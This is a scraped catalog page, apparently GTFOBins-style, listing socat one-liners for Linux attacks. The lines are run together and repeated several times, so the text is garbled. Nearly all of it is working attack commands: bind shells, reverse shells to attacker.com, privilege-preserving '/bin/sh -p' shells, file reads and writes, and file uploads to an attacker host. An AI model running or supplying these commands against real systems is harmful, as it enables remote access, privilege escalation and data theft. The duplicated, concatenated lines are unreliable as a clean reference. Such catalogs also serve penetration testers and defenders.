bind-shell
Reverse/Bind ShellPrivilege EscalationLinux
GTFO · Tool
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sanesocat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sanesocat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creatsocat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creatsocat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creatsocat -u file:/path/to/input-file -socat -u file:/path/to/input-file -socat -u file:/path/to/input-file -The `echo` command is actually used.
socat -u 'exec:echo DATA' open:/path/to/output-file,creatThe `echo` command is actually used.
socat -u 'exec:echo DATA' open:/path/to/output-file,creatThe `echo` command is actually used.
socat -u 'exec:echo DATA' open:/path/to/output-file,creatsocat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sanesocat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sanesocat - exec:/bin/sh,pty,ctty,raw,echo=0socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'socat - exec:/bin/sh,pty,ctty,raw,echo=0socat -u file:/path/to/input-file tcp-connect:attacker.com:12345socat -u file:/path/to/input-file tcp-connect:attacker.com:12345socat -u file:/path/to/input-file tcp-connect:attacker.com:12345Type to search the catalog. ↑↓ move, ↵ open, Esc close.